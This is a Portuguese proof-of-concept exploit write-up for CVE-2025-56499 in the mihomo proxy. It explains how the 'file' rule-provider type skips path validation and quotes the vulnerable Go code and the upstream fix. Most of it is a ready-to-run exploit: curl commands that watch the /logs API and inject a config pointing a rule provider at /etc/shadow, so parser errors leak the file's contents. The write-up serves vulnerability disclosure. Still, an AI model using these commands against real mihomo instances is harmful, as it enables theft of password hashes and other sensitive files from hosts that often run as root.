
Exploit de prova de conceito para CVE-2025-56499 demonstrando leitura arbitrária de arquivos via falta de validação de caminho no tipo de arquivo rule-provider do mihomo, com exfiltração de dados baseada em logs.
Leitura Arbitrária de Arquivo via Validação de Caminho Ausente no Provedor de Regras Local
Correção Upstream: https://github.com/MetaCubeX/mihomo/pull/2177
Versões Afetadas: mihomo <= v1.19.11
Ao analisar a configuração rule-providers, o ramo type = "file" falha ao validar o caminho fornecido. Um atacante autenticado controlando schema.Path pode apontar o provedor para qualquer arquivo local legível. Como a maioria dos arquivos arbitrários não está de acordo com o formato de regras esperado, erros de análise (incluindo fragmentos substanciais do conteúdo do arquivo) são emitidos nos logs em memória e expostos através da API /logs. Como o mihomo frequentemente é executado com privilégios elevados (root / administrador), isso resulta em divulgação de informações de alto impacto.
rules/provider/parse.go, o caso schema.Type == "file" apenas invoca C.Path.Resolve() e nunca impõe C.Path.IsSafePath() ou qualquer restrição equivalente de lista branca/sandbox.var vehicle P.Vehicle
switch schema.Type {
case "file":
path := C.Path.Resolve(schema.Path)
vehicle = resource.NewFileVehicle(path)
case "http":
path := C.Path.GetPathByHash("rules", schema.URL)
if schema.Path != "" {
path = C.Path.Resolve(schema.Path)
if !C.Path.IsSafePath(path) {
return nil, C.Path.ErrNotSafePath(path)
}
}
vehicle = resource.NewHTTPVehicle(schema.URL, path, schema.Proxy, nil, resource.DefaultHttpTimeout, schema.SizeLimit)
case "inline":
return NewInlineProvider(name, behavior, schema.Payload, parse), nil
default:
return nil, fmt.Errorf("unsupported vehicle type: %s", schema.Type)
}
Deficiências do ramo de arquivo:
/logs para capturar a saída de erro do parser./configs incorporando uma entrada maliciosa de rule-providers com type = file e o caminho do arquivo alvo.Ouça os logs (exemplo de token Bearer 123):
curl -X GET "http://localhost:9999/logs" \
-H "Authorization: Bearer 123"
Injete configuração para ler /etc/shadow:
curl -X PUT "http://localhost:9999/configs" \
-H "Authorization: Bearer 123" \
-H "Content-Type: application/json" \
-d '{"payload": "{\"log-level\": \"debug\", \"external-controller-unix\": \"mihomo.sock\", \"rule-providers\": {\"pwn\": {\"type\": \"file\", \"behavior\": \"classical\", \"format\": \"text\", \"path\": \"/etc/shadow\"}}}"}'
Payload sem escape:
{
"log-level": "debug",
"external-controller-unix": "mihomo.sock",
"rule-providers": {
"pwn": {
"type": "file",
"behavior": "classical",
"format": "text",
"path": "/etc/shadow"
}
}
}
Resultado: Linhas de falha de análise em /logs contêm fragmentos de /etc/shadow (exemplo de screenshot):
